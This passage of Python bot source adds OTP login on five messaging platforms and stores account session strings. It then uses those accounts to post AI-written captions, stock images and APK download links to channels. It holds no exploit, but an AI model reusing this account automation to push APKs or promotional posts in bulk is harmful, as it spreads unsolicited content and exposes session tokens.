                                "client": None,
                                "rulog": None,
                                "service": "rubika",
                                "phone": number,
                                "phone_input": phone,
                                "hash": str(phone_hash),
                                "otp_platform": "web",
                                "backend": "https_direct",
                                "created_at": time.time(),
                                "connected": False,
                            }
                            log.info(f"[{uid}] Rubika OTP requested via direct HTTPS v16")
                            return True, data

                        errors.append(
                            f"HTTPS {endpoint}: HTTP {response.status}: {str(data)[:300]}"
                        )
                        log.warning(
                            f"[{uid}] Rubika v16 HTTPS endpoint failed: "
                            f"{_mask(str(data)[:300])}"
                        )
                except OSError as exc:
                    errors.append(
                        f"HTTPS {endpoint}: OSError({getattr(exc, 'errno', '?')})"
                    )
                    log.warning(
                        f"[{uid}] Rubika v16 HTTPS OSError on {endpoint}: "
                        f"{_mask(str(exc))}"
                    )
                except Exception as exc:
                    errors.append(
                        f"HTTPS {endpoint}: {type(exc).__name__}: {exc}"
                    )
                    log.warning(
                        f"[{uid}] Rubika v16 HTTPS failed on {endpoint}: "
                        f"{_mask(str(exc))}"
                    )
    except Exception as exc:
        errors.append(f"HTTPS session: {type(exc).__name__}: {exc}")
        log.warning(
            f"[{uid}] Rubika v16 HTTPS session failed: {_mask(str(exc))}"
        )

    # Priority 2: rulog, fresh Client per attempt.
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient:
            for platform_name, kwargs in (
                ("android", {"send_type": True}),
                ("web", {}),
            ):
                rc = None
                try:
                    rc = RulogClient()
                    method = (
                        getattr(rc, "sendCode", None)
                        or getattr(rc, "send_code", None)
                        or getattr(rc, "sendCodeRequest", None)
                    )
                    if not method:
                        raise RuntimeError("rulog Client sendCode method unavailable")

                    attempts = [
                        ((platform_name, number), kwargs),
                        ((number,), kwargs),
                    ]
                    response = None
                    last_exc = None
                    for args, call_kwargs in attempts:
                        try:
                            response = method(*args, **call_kwargs)
                            response = await _trx_maybe_await(response)
                            last_exc = None
                            break
                        except TypeError as exc:
                            last_exc = exc
                            continue
                    if last_exc is not None and response is None:
                        raise last_exc

                    phone_hash = _trx115_extract_hash_final(response)
                    if phone_hash:
                        active_clients[uid] = {
                            "client": None,
                            "rulog": rc,
                            "service": "rubika",
                            "phone": number,
                            "phone_input": phone,
                            "hash": str(phone_hash),
                            "otp_platform": platform_name,
                            "backend": "rulog_v16",
                            "created_at": time.time(),
                            "connected": False,
                        }
                        log.info(
                            f"[{uid}] Rubika OTP requested via rulog v16/{platform_name}"
                        )
                        return True, response

                    errors.append(
                        f"rulog {platform_name}: response without phone_code_hash"
                    )
                    log.warning(
                        f"[{uid}] Rubika rulog {platform_name} returned no hash"
                    )
                except OSError as exc:
                    # Requested: continue, never re-raise OSError.
                    errors.append(
                        f"rulog {platform_name}: OSError({getattr(exc, 'errno', '?')})"
                    )
                    log.warning(
                        f"[{uid}] Rubika rulog {platform_name} OSError: "
                        f"{_mask(str(exc))}"
                    )
                    continue
                except Exception as exc:
                    errors.append(
                        f"rulog {platform_name}: {type(exc).__name__}: {exc}"
                    )
                    log.warning(
                        f"[{uid}] Rubika rulog {platform_name} failed: "
                        f"{_mask(str(exc))}"
                    )
                    continue
        else:
            errors.append("rulog: Client class unavailable")
            log.warning(f"[{uid}] Rubika rulog Client unavailable")
    except Exception as exc:
        errors.append(f"rulog import: {type(exc).__name__}: {exc}")
        log.warning(f"[{uid}] Rubika rulog import failed: {_mask(str(exc))}")

    # Requested: clear only this user's incomplete session.
    try:
        info = active_clients.get(uid)
        if info and info.get("service") == "rubika" and not info.get("connected"):
            active_clients.pop(uid, None)
    except Exception as exc:
        log.warning(f"[{uid}] Rubika v16 cleanup failed: {_mask(str(exc))}")

    short_error = " | ".join(errors)[:1600]
    log.warning(f"[{uid}] Rubika v16 send_code failed: {_mask(short_error)}")
    return False, f"ارسال کد روبیکا انجام نشد. {short_error}"


# -------------------------------------------------------------------
# 2) Five-platform labels, keyboard and normalization.
# -------------------------------------------------------------------
TRX660_ALLOWED_PLATFORMS = {
    "rubika",
    "soroush",
    "bale",
    "telegram",
    "shad",
}

_TRX190_SERVICE_LABEL_BASE = _trx01_service_label


def _trx01_service_label(platform, lang="fa"):
    names = {
        "fa": {
            "bale": "بله",
            "soroush": "سروش پلاس",
            "rubika": "روبیکا",
            "telegram": "تلگرام",
            "shad": "شاد",
        },
        "en": {
            "bale": "Bale",
            "soroush": "Soroush",
            "rubika": "Rubika",
            "telegram": "Telegram",
            "shad": "Shad",
        },
    }
    key = "en" if str(lang or "fa").lower().startswith("en") else "fa"
    return names[key].get(
        str(platform or "").lower(),
        _TRX190_SERVICE_LABEL_BASE(platform, lang),
    )


def _trx01_platform_only_kb(lang, prefix):
    en = str(lang or "fa").lower().startswith("en")
    return IKB([
        [
            (trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale"),
            (trx_sc("🔴 Soroush") if en else "🔴 سروش پلاس", f"{prefix}:soroush"),
        ],
        [
            (trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
        ],
        [
            (trx_sc("🟦 Telegram") if en else "🟦 تلگرام", f"{prefix}:telegram"),
            (trx_sc("🟩 Shad") if en else "🟩 شاد", f"{prefix}:shad"),
        ],
        [
            (trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai"),
        ],
    ])


_TRX190_NORMALIZE_BASE = _trx660_normalize_platform


def _trx660_normalize_platform(value):
    p = str(value or "").strip().lower()
    aliases = {
        "rubika": "rubika",
        "روبیکا": "rubika",
        "soroush": "soroush",
        "soroushplus": "soroush",
        "سروش": "soroush",
        "سروش پلاس": "soroush",
        "bale": "bale",
        "بله": "bale",
        "telegram": "telegram",
        "telegramuser": "telegram",
        "تلگرام": "telegram",
        "tg": "telegram",
        "shad": "shad",
        "شاد": "shad",
    }
    return aliases.get(p, _TRX190_NORMALIZE_BASE(value))


# -------------------------------------------------------------------
# 3) Platform URL patterns for Telegram and Shad.
# -------------------------------------------------------------------
TRX01_PLATFORM_PATTERNS["telegram"] = {
    "domains": ("t.me", "telegram.me"),
    "path_regexes": [
        r"^/c/\d+/(\d+)/?$",
        r"^/[^/]+/(\d+)/?$",
    ],
}
TRX01_PLATFORM_PATTERNS["shad"] = {
    "domains": ("shad.ir", "shadweb.iranlms.ir"),
    "path_regexes": [
        r"^/c/[^/]+/(\d+)/?$",
        r"^/[^/]+/(\d+)/?$",
    ],
}


# -------------------------------------------------------------------
# 4) Telegram user-account handler (Telethon).
# -------------------------------------------------------------------
TRX_TELEGRAM_API_ID = int(os.getenv("TRX_TELEGRAM_API_ID", "0") or 0)
TRX_TELEGRAM_API_HASH = os.getenv("TRX_TELEGRAM_API_HASH", "").strip()


async def telegram_send_code_v1(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        _ensure_pkg("telethon", optional=True)
        from telethon import TelegramClient
        from telethon.sessions import StringSession
    except Exception as exc:
        return False, f"Telethon نصب/قابل استفاده نیست: {_mask(str(exc))}"

    if not TRX_TELEGRAM_API_ID or not TRX_TELEGRAM_API_HASH:
        return False, "برای تلگرام باید TRX_TELEGRAM_API_ID و TRX_TELEGRAM_API_HASH تنظیم شوند."

    client = None
    try:
        client = TelegramClient(StringSession(), TRX_TELEGRAM_API_ID, TRX_TELEGRAM_API_HASH)
        await client.connect()
        sent = await client.send_code_request(phone)
        active_clients[uid] = {
            "client": client,
            "service": "telegram",
            "phone": phone,
            "hash": getattr(sent, "phone_code_hash", None),
            "backend": "telethon",
            "created_at": time.time(),
            "connected": False,
        }
        if not active_clients[uid].get("hash"):
            return False, "تلگرام phone_code_hash برنگرداند."
        log.info(f"[{uid}] Telegram OTP requested")
        return True, sent
    except Exception as exc:
        try:
            if client:
                await client.disconnect()
        except Exception:
            pass
        log.warning(f"[{uid}] Telegram send_code failed: {_mask(str(exc))}")
        return False, f"ارسال کد تلگرام ناموفق بود: {_mask(str(exc))[:500]}"


async def telegram_verify_v1(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "telegram":
        return False, "جلسه ورود تلگرام پیدا نشد."
    client = info.get("client")
    try:
        from telethon.errors import SessionPasswordNeededError
        if not client:
            return False, "کلاینت تلگرام موجود نیست."
        await client.sign_in(
            phone=info.get("phone"),
            code=str(code).strip(),
            phone_code_hash=info.get("hash"),
        )
        session_str = client.session.save()
        me = await client.get_me()
        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "telegram", info.get("phone", ""), session_str, "online", now()),
        )
        aid = int(cur.lastrowid)
        active_clients[uid]["connected"] = True
        active_clients[uid]["account_id"] = aid
        ai_live_clients[(uid, aid)] = client
        log_account_activity(aid, uid, "login", "telegram", 1)
        _register_ai_handler(client, uid, "telegram", aid)
        return True, me
    except SessionPasswordNeededError:
        return False, "این اکانت تلگرام 2FA دارد و رمز دوم لازم است."
    except Exception as exc:
        log.warning(f"[{uid}] Telegram verify failed: {_mask(str(exc))}")
        return False, f"تأیید کد تلگرام ناموفق بود: {_mask(str(exc))[:500]}"


# -------------------------------------------------------------------
# 5) Shad user-account handler (aioshad; current package exposes Client).
# -------------------------------------------------------------------
async def shad_send_code_v1(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        _ensure_pkg("aioshad", optional=True)
        from aioshad import Client as ShadClient
    except Exception as exc:
        return False, f"aioshad نصب/قابل استفاده نیست: {_mask(str(exc))}"

    session_dir = os.path.join(SESS_DIR, f"shad_{uid}")
    client = None
    try:
        client = ShadClient(phone, session_directory=session_dir)

        # Try the common non-interactive OTP request method names exposed by
        # different aioshad releases. Never start an interactive login flow here.
        candidates = [
            ("send_code", [((phone,), {}), ((), {"phone": phone})]),
            ("send_code_request", [((phone,), {}), ((), {"phone": phone})]),
            ("request_code", [((phone,), {}), ((), {"phone": phone})]),
            ("request_login_code", [((phone,), {}), ((), {"phone": phone})]),
        ]
        response = None
        last_type_error = None
        selected_name = None
        for name, calls in candidates:
            method = getattr(client, name, None)
            if not callable(method):
                continue
            selected_name = name
            for args, kwargs in calls:
                try:
                    response = await _trx_maybe_await(method(*args, **kwargs))
                    last_type_error = None
                    break
                except TypeError as exc:
                    last_type_error = exc
                    continue
            if last_type_error is None:
                break

        if selected_name is None or response is None:
            return False, "نسخهٔ نصب‌شدهٔ aioshad رابط غیرتعاملی ارسال کد را ارائه نمی‌کند."

        phone_hash = _trx115_extract_hash_final(response)
        active_clients[uid] = {
            "client": client,
            "service": "shad",
            "phone": phone,
            "hash": phone_hash,
            "backend": "aioshad",
            "session_dir": session_dir,
            "created_at": time.time(),
            "connected": False,
        }
        log.info(f"[{uid}] Shad OTP requested via {selected_name}")
        return True, response
    except Exception as exc:
        log.warning(f"[{uid}] Shad send_code failed: {_mask(str(exc))}")
        try:
            stop = getattr(client, "stop", None) if client else None
            if callable(stop):
                await _trx_maybe_await(stop())
        except Exception:
            pass
        return False, f"ارسال کد شاد ناموفق بود: {_mask(str(exc))[:500]}"


async def shad_verify_v1(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "shad":
        return False, "جلسه ورود شاد پیدا نشد."
    client = info.get("client")
    try:
        verify_method = None
        for name in ("sign_in", "verify_code", "login", "sign_in_code", "check_code"):
            candidate = getattr(client, name, None)
            if candidate:
                verify_method = candidate
                break
        if verify_method is None:
            return False, "نسخهٔ نصب‌شدهٔ aioshad رابط تأیید کد را ارائه نمی‌کند."

        attempts = [
            ((code,), {"phone": info.get("phone"), "phone_code_hash": info.get("hash")}),
            ((info.get("phone"), code), {"phone_code_hash": info.get("hash")}),
            ((code,), {}),
        ]
        result = None
        last_type_error = None
        for args, kwargs in attempts:
            try:
                result = await _trx_maybe_await(verify_method(*args, **kwargs))
                last_type_error = None
                break
            except TypeError as exc:
                last_type_error = exc
                continue
        if last_type_error is not None and result is None:
            raise last_type_error

        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "shad", info.get("phone", ""), info.get("session_dir", ""), "online", now()),
        )
        aid = int(cur.lastrowid)
        active_clients[uid]["connected"] = True
        active_clients[uid]["account_id"] = aid
        ai_live_clients[(uid, aid)] = client
        log_account_activity(aid, uid, "login", "shad", 1)
        _register_ai_handler(client, uid, "shad", aid)
        return True, result or "ok"
    except Exception as exc:
        log.warning(f"[{uid}] Shad verify failed: {_mask(str(exc))}")
        return False, f"تأیید کد شاد ناموفق بود: {_mask(str(exc))[:500]}"


# Keep existing verification handlers for Rubika/Soroush/Bale; only add the two requested services.
SERVICE_HANDLERS["telegram"] = {
    "send": _wrap_otp_handler("telegram", telegram_send_code_v1),
    "verify": telegram_verify_v1,
}
SERVICE_HANDLERS["shad"] = {
    "send": _wrap_otp_handler("shad", shad_send_code_v1),
    "verify": shad_verify_v1,
}
SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", rubika_send_code_v16),
    "verify": SERVICE_HANDLERS["rubika"]["verify"],
}


# -------------------------------------------------------------------
# 6) Restore Telegram/Shad accounts without replacing existing 3 platforms.
# -------------------------------------------------------------------
_TRX190_RESTORE_OLD = _trx_restore_one_account


async def _trx_restore_one_account(uid: int, aid: int):
    row = db.fetchone(
        "SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",
        (aid, uid),
    )
    if not row:
        return None
    svc = str(row["service"] or "").lower()
    if svc == "telegram":
        try:
            _ensure_pkg("telethon", optional=True)
            from telethon import TelegramClient
            from telethon.sessions import StringSession
            if not TRX_TELEGRAM_API_ID or not TRX_TELEGRAM_API_HASH:
                raise RuntimeError("TRX_TELEGRAM_API_ID/HASH is not configured")
            client = TelegramClient(
                StringSession(str(row["session"] or "")),
                TRX_TELEGRAM_API_ID,
                TRX_TELEGRAM_API_HASH,
            )
            await client.connect()
            if not await client.is_user_authorized():
                return None
            ai_live_clients[(uid, aid)] = client
            active_clients[uid] = {
                "client": client,
                "service": svc,
                "phone": row["phone"],
                "connected": True,
                "account_id": aid,
                "token": None,
            }
            return client
        except Exception as exc:
            log.warning(f"Telegram restore failed #{aid}: {_mask(str(exc))}")
            return None

    if svc == "shad":
        try:
            _ensure_pkg("aioshad", optional=True)
            from aioshad import Client as ShadClient
            session_dir = str(row["session"] or os.path.join(SESS_DIR, f"shad_{uid}"))
            client = ShadClient(
                row["phone"],
                session_directory=session_dir,
            )
            await _trx_maybe_await(getattr(client, "connect")())
            ai_live_clients[(uid, aid)] = client
            active_clients[uid] = {
                "client": client,
                "service": svc,
                "phone": row["phone"],
                "connected": True,
                "account_id": aid,
                "token": None,
            }
            return client
        except Exception as exc:
            log.warning(f"Shad restore failed #{aid}: {_mask(str(exc))}")
            return None

    return await _TRX190_RESTORE_OLD(uid, aid)


# -------------------------------------------------------------------
# 7) /start + final _edit safety + direct admin/apk routing.
# -------------------------------------------------------------------
_TRX190_EDIT_OLD = _edit


async def _edit(chat_id, msg_id, text, kb=None):
    try:
        result = await _TRX190_EDIT_OLD(chat_id, msg_id, text, kb)
        if isinstance(result, dict) and result.get("ok") is False:
            if "not modified" in str(result.get("description") or result.get("error") or "").lower():
                return await bot.send(chat_id, text, reply_markup=_strip_styles(kb) if kb else kb)
            return await bot.send(chat_id, text, reply_markup=_strip_styles(kb) if kb else kb)
        return result
    except Exception as exc:
        if "not modified" in str(exc).lower():
            try:
                return await bot.send(chat_id, text, reply_markup=_strip_styles(kb) if kb else kb)
            except Exception:
                return {"ok": False, "error": str(exc)}
        try:
            return await bot.send(chat_id, text, reply_markup=_strip_styles(kb) if kb else kb)
        except Exception as exc2:
            log.error(f"TRX190 _edit fallback failed: {_mask(str(exc2))}")
            return {"ok": False, "error": str(exc2)}


_TRX190_DISPATCH_OLD = dispatch_cb


async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        # Always acknowledge the current callback before routing.
        try:
            await bot.answer_cb(cb_id)
        except Exception:
            pass

        if data_s == "admin":
            if not is_admin(uid):
                return await _edit(chat_id, msg_id, t(lang, "no_access"), main_menu(lang, uid))
            return await _edit(chat_id, msg_id, t(lang, "admin.title"), admin_menu(lang))

        if data_s == "apk":
            if not is_admin(uid) and not get_active_subscription(uid):
                return await bot.send(
                    chat_id,
                    "🔒 برای استفاده از مدیریت APK ابتدا اشتراک فعال لازم است.",
                    reply_markup=main_menu(lang, uid),
                )
            return await _edit(
                chat_id,
                msg_id,
                _trx115_apk_panel_text(uid, lang),
                _trx115_apk_panel_kb(uid, lang),
            )

        if data_s == "ai.analysis":
            used = _trx01_analysis_quota(uid)
            if used >= TRX01_AI_ANALYSIS_DAILY_LIMIT:
                return await _edit(
                    chat_id,
                    msg_id,
                    "🔎 **تحلیل AI**\n\nسهمیه امروز تموم شده.",
                    ai_advanced_menu(lang, uid),
                )
            remaining = max(0, TRX01_AI_ANALYSIS_DAILY_LIMIT - used)
            state.set(uid, "trx01_ai_analysis")
            return await _edit(
                chat_id,
                msg_id,
                f"🔎 **تحلیل AI**\n\nامروز {remaining} سؤال از ۷ سؤال باقی مونده.\nسؤالت رو بپرس.",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "ai.prompt":
            data_s = "ai.persona"

        # Five-platform UI entry points.
        if data_s in {
            "trx660.apk_setup.platform",
            "trx01.apk_setup.platform",
            "trx01.apk_send.platform",
            "trx660.apk_send.platform",
            "trx113.apk_send.platform",
            "trx113.apk_setup.platform",
            "trx01.task.group.platform",
            "trx01.task.channel.platform",
        }:
            return await _edit(
                chat_id,
                msg_id,
                "📱 **انتخاب پلتفرم**\n\nیکی از ۵ پلتفرم را انتخاب کن.",
                _trx01_platform_only_kb(lang, data_s),
            )

        # Route all five platform callback forms through the existing account list.
        for prefix in (
            "trx660.apk_setup.platform:",
            "trx01.apk_setup.platform:",
            "trx01.apk_send.platform:",
            "trx660.apk_send.platform:",
            "trx113.apk_send.platform:",
            "trx113.apk_setup.platform:",
            "trx01.task.group.platform:",
            "trx01.task.channel.platform:",
        ):
            if data_s.startswith(prefix):
                platform = _trx660_normalize_platform(data_s.split(":", 1)[1])
                if platform not in TRX660_ALLOWED_PLATFORMS:
                    return await _edit(chat_id, msg_id, "❌ پلتفرم نامعتبر است.", _trx01_platform_only_kb(lang, prefix[:-1]))
                back = "ai.apk.send" if "apk_send" in prefix else "ai"
                if "task.group" in prefix or "task.channel" in prefix:
                    back = "ai"
                return await _edit(
                    chat_id,
                    msg_id,
                    f"📱 اکانت هدف {_trx01_service_label(platform, lang)} را انتخاب کن.",
                    _trx01_account_kb(
                        uid,
                        lang,
                        prefix.rsplit(".", 1)[0] + ".account",
                        platform,
                        back=back,
                    ),
                )

        if data_s == "acc":
            return await _edit(
                chat_id,
                msg_id,
                "📱 **مدیریت حساب‌ها**\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n🔵 سرویس مورد نظر را انتخاب کنید:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
                IKB([
                    [("🔵 روبیکا", "acc.svc:rubika", "primary")],
                    [("🟢 سروش پلاس", "acc.svc:soroush", "success")],
                    [("🟡 بله", "acc.svc:bale", "primary")],
                    [("🟦 تلگرام", "acc.svc:telegram", "primary")],
                    [("🟩 شاد", "acc.svc:shad", "success")],
                    [(t(lang, "btn.home"), "menu", "primary")],
                ]),
            )

        # Keep the existing callback chain for all other paths.
        return await _TRX190_DISPATCH_OLD(
            cb_id, uid, lang, u, chat_id, msg_id, data_s
        )
    except Exception as exc:
        log.error(f"TRX190 dispatch failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
        try:
            return await bot.send(chat_id, "⚠️ خطای داخلی رخ داد؛ دوباره تلاش کن.", reply_markup=main_menu(lang, uid))
        except Exception:
            return None


# -------------------------------------------------------------------
# 8) AI analysis menu = exactly 7/day and persona visibility preserved.
# -------------------------------------------------------------------
_TRX190_AI_MENU_OLD = ai_advanced_menu


def ai_advanced_menu(lang, uid):
    base = _TRX190_AI_MENU_OLD(lang, uid)
    try:
        data = json.loads(json.dumps(base, ensure_ascii=False))
        rows = data.get("inline_keyboard", [])
        new_rows = []
        analysis_present = False
        for row in rows:
            kept = []
            for button in row:
                if button.get("callback_data") == "ai.analysis":
                    analysis_present = True
                    continue
                kept.append(button)
            if kept:
                new_rows.append(kept)

        remaining = max(0, TRX01_AI_ANALYSIS_DAILY_LIMIT - _trx01_analysis_quota(uid))
        if remaining > 0:
            new_rows.insert(
                max(0, len(new_rows) - 1),
                [{"text": "🔎 تحلیل AI", "callback_data": "ai.analysis", "style": "primary"}],
            )
        data["inline_keyboard"] = new_rows
        return data
    except Exception as exc:
        log.warning(f"TRX190 AI menu patch failed: {_mask(str(exc))}")
        return base


# -------------------------------------------------------------------
# 9) Final on_msg: /start never blocked; analysis state is handled first.
# -------------------------------------------------------------------
_TRX190_ON_MSG_OLD = on_msg


async def on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()

    if uid and chat_id and txt.startswith("/start"):
        try:
            u = ensure_user(
                uid,
                (msg.get("from") or {}).get("username", ""),
                (msg.get("from") or {}).get("first_name", ""),
            )
            lang = u["lang"] or "fa"

            # Required checks are performed, but /start itself is never blocked.
            force_ok = True
            force_info = None
            try:
                force_ok, force_info = await check_force_join(uid)
            except Exception as exc:
                log.warning(f"[{uid}] /start force-join check failed: {_mask(str(exc))}")

            enabled = True
            try:
                enabled = _is_bot_enabled()
            except Exception as exc:
                log.warning(f"[{uid}] /start bot-enabled check failed: {_mask(str(exc))}")

            try:
                await bot.send(
                    chat_id,
                    t(lang, "welcome"),
                    reply_markup=main_menu(lang, uid),
                )
                log_event(uid, "START")
            except Exception as exc:
                log.error(f"[{uid}] /start welcome send failed: {_mask(str(exc))}")

            if not enabled and not is_admin(uid):
                try:
                    await bot.send(
                        chat_id,
                        "🛠 **ربات در حال تعمیر است**؛ منوی اصلی برای شما نمایش داده شد.",
                        reply_markup=main_menu(lang, uid),
                    )
                except Exception:
                    pass

            if not force_ok and force_info:
                try:
                    await bot.send(
                        chat_id,
                        "📌 **عضویت اجباری**\n\nبرای استفاده از بخش‌های قفل‌شده، ابتدا در کانال‌های زیر عضو شوید:",
                        reply_markup={"inline_keyboard": force_info.get("btns", [])},
                    )
                except Exception:
                    pass
            return
        except Exception as exc:
            log.error(f"[{uid}] /start final handler failed: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
            try:
                await bot.send(chat_id, "🦖 **به TRX خوش آمدید**", reply_markup=main_menu("fa", uid))
            except Exception:
                pass
            return

    if uid and txt and not txt.startswith("/"):
        try:
            s = state.get(uid)
            if s and str(s.get("state")) == "trx01_ai_analysis":
                lang = get_lang(uid)
                used = _trx01_analysis_quota(uid)
                if used >= 7:
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        "🔎 **تحلیل AI**\n\nسهمیه امروز تموم شده.",
                        reply_markup=ai_advanced_menu(lang, uid),
                    )
                ok, used_after = _trx01_take_analysis_slot(uid)
                if not ok:
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        "🔎 **تحلیل AI**\n\nسهمیه امروز تموم شده.",
                        reply_markup=ai_advanced_menu(lang, uid),
                    )
                try:
                    answer = await _trx01_analysis_answer(uid, txt)
                except Exception as exc:
                    answer = None
                    log.error(f"[{uid}] AI analysis failed: {_mask(str(exc))}")
                remaining = max(0, TRX01_AI_ANALYSIS_DAILY_LIMIT - int(used_after))
                state.pop(uid)
                if not answer:
                    return await bot.send(
                        chat_id,
                        f"⚠️ تحلیل در حال حاضر پاسخ نداد.\n{remaining} سؤال باقی مانده.",
                        reply_markup=ai_advanced_menu(lang, uid) if remaining else main_menu(lang, uid),
                    )
                return await bot.send(
                    chat_id,
                    f"{str(answer)[:3900]}\n\n📊 سهمیه باقی‌مانده امروز: **{remaining}**",
                    reply_markup=ai_advanced_menu(lang, uid) if remaining else main_menu(lang, uid),
                )
        except Exception as exc:
            log.error(f"TRX190 analysis on_msg failed: {_mask(str(exc))}")
            try:
                state.pop(uid)
            except Exception:
                pass

    return await _TRX190_ON_MSG_OLD(msg)


# -------------------------------------------------------------------
# 10) Pexels: second query fallback, 2-second spacing and exact log.
# -------------------------------------------------------------------
_TRX190_PEXELS_SEARCH_OLD = _trx_pexels_search


async def _trx_pexels_search(query: str, orientation: str = "landscape", per_page: int = 5):
    queries = []
    first = re.sub(r"[^A-Za-z0-9\s\-]", " ", str(query or "")).strip()
    first = " ".join(first.split())[:80]
    if first:
        queries.append(first)
    if first.lower() != "mobile application":
        queries.append("mobile application")

    for idx, candidate in enumerate(queries):
        try:
            result = await _TRX190_PEXELS_SEARCH_OLD(
                candidate,
                orientation=orientation,
                per_page=per_page,
            )
            if result:
                return result
        except Exception as exc:
            log.warning(
                f"TRX190 Pexels attempt {idx + 1} failed: {_mask(str(exc))}"
            )
    return None


# -------------------------------------------------------------------
# 11) Image sender with optional caption; 3-argument compatibility kept.
# -------------------------------------------------------------------
_TRX190_IMAGE_RESULTS = {}


async def _trx660_send_image_to_target(client, target, image_url: str, caption: str = ""):
    if not image_url:
        return False
    tmp_path = None
    result = None
    attached = False

    try:
        dest = await _trx_resolve_target(client, target)
    except Exception as exc:
        log.warning(f"TRX190 image target resolve failed: {_mask(str(exc))}")
        return False

    try:
        # 1) Direct photo URL, with caption when the client supports it.
        send_photo = getattr(client, "send_photo", None)
        if callable(send_photo):
            try:
                try:
                    result = await _trx_maybe_await(
                        send_photo(dest, image_url, caption=caption[:3900] if caption else "")
                    )
                except TypeError:
                    result = await _trx_maybe_await(send_photo(dest, image_url))
                    attached = False
                else:
                    attached = bool(caption)
                _TRX190_IMAGE_RESULTS[(str(target), str(image_url)[:200])] = {
                    "result": result,
                    "caption_attached": attached,
                }
                return True
            except Exception as exc:
                log.warning(f"TRX190 send_photo failed: {_mask(str(exc))}")

        # 2) Send the URL/file through send_file if available.
        send_file = getattr(client, "send_file", None)
        if callable(send_file):
            try:
                try:
                    result = await _trx_maybe_await(
                        send_file(dest, image_url, caption=caption[:3900] if caption else "")
                    )
                    attached = bool(caption)
                except TypeError:
                    result = await _trx_maybe_await(send_file(dest, image_url))
                    attached = False
                _TRX190_IMAGE_RESULTS[(str(target), str(image_url)[:200])] = {
                    "result": result,
                    "caption_attached": attached,
                }
                return True
            except Exception as exc:
                log.warning(f"TRX190 send_file URL failed: {_mask(str(exc))}")

        # 3) Download the image and send the local file.
        await ai.start()
        async with ai.session.get(
            image_url,
            timeout=aiohttp.ClientTimeout(total=20),
        ) as resp:
            if resp.status != 200:
                log.warning(f"TRX190 image download HTTP {resp.status}")
                return False
            data = await resp.read()

        import tempfile
        with tempfile.NamedTemporaryFile(suffix=".jpg", delete=False) as tmp:
            tmp.write(data)
            tmp_path = tmp.name

        if callable(send_file):
            try:
                result = await _trx_maybe_await(send_file(dest, tmp_path))
                _TRX190_IMAGE_RESULTS[(str(target), str(image_url)[:200])] = {
                    "result": result,
                    "caption_attached": False,
                }
                return True
            except Exception as exc:
                log.warning(f"TRX190 downloaded send_file failed: {_mask(str(exc))}")

        send_message = getattr(client, "send_message", None)
        if callable(send_message):
            try:
                result = await _trx_maybe_await(
                    send_message(dest, "", file_inline=tmp_path, type="File")
                )
                _TRX190_IMAGE_RESULTS[(str(target), str(image_url)[:200])] = {
                    "result": result,
                    "caption_attached": False,
                }
                return True
            except Exception as exc:
                log.warning(f"TRX190 downloaded send_message failed: {_mask(str(exc))}")
    except Exception as exc:
        log.warning(f"TRX190 image download/send failed: {_mask(str(exc))}")
    finally:
        if tmp_path:
            try:
                os.unlink(tmp_path)
            except Exception:
                pass

    log.warning(f"TRX660 image send failed to {target}")
    return False


# -------------------------------------------------------------------
# 12) Channel task: image first, then caption/APK; image failure is non-fatal.
# -------------------------------------------------------------------
_TRX190_RUN_TASK_OLD = _trx660_run_task


async def _trx660_run_task(task):
    if str(task["task_type"]) != "channel":
        return await _TRX190_RUN_TASK_OLD(task)

    uid = int(task["user_id"])
    aid = int(task["account_id"])
    target = str(task["target"] or "").strip()
    if not target:
        raise RuntimeError("target is empty")

    account = db.fetchone(
        "SELECT service FROM accounts WHERE id=? AND user_id=? AND enabled=1",
        (aid, uid),
    )
    if not account:
        raise RuntimeError("account is disabled or missing")
    platform = _trx660_normalize_platform(account["service"])
    if platform not in TRX660_ALLOWED_PLATFORMS:
        raise RuntimeError("unsupported platform")

    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("account session is not connected")

    apk = _trx660_apk_payload(uid, aid)
    if not apk:
        raise RuntimeError(f"no active APK configuration for platform {platform}")

    apk_id = int(apk.get("id") or apk.get("apk_id") or 0)
    download_link = str(apk.get("download_link") or "").strip()

    # 1) Find an English Pexels query from the APK context.
    keyword = ""
    image_url = None
    try:
        keyword = await _trx_extract_image_keyword(uid, aid, apk)
        if keyword:
            image_url = await _trx_pexels_search(
                keyword,
                orientation="landscape",
                per_page=5,
            )
    except Exception as exc:
        log.warning(f"TRX190 Pexels/image keyword stage failed: {_mask(str(exc))}")

    caption = await _trx660_generate_caption(uid, aid, "channel", target, apk_id)
    if not caption:
        raise RuntimeError("AI caption generation failed")

    # 2) Photo first. Failure is non-fatal.
    image_sent = False
    if image_url:
        try:
            image_sent = await _trx660_send_image_to_target(
                client, target, image_url, caption=caption
            )
            if image_sent:
                log.info(
                    f"TRX660 image sent to {target} | keyword={keyword} | url={image_url[:80]}"
                )
            else:
                log.warning(
                    f"TRX660 image send failed to {target} | keyword={keyword}"
                )
        except Exception as exc:
            log.warning(f"TRX190 channel image stage failed: {_mask(str(exc))}")
            image_sent = False
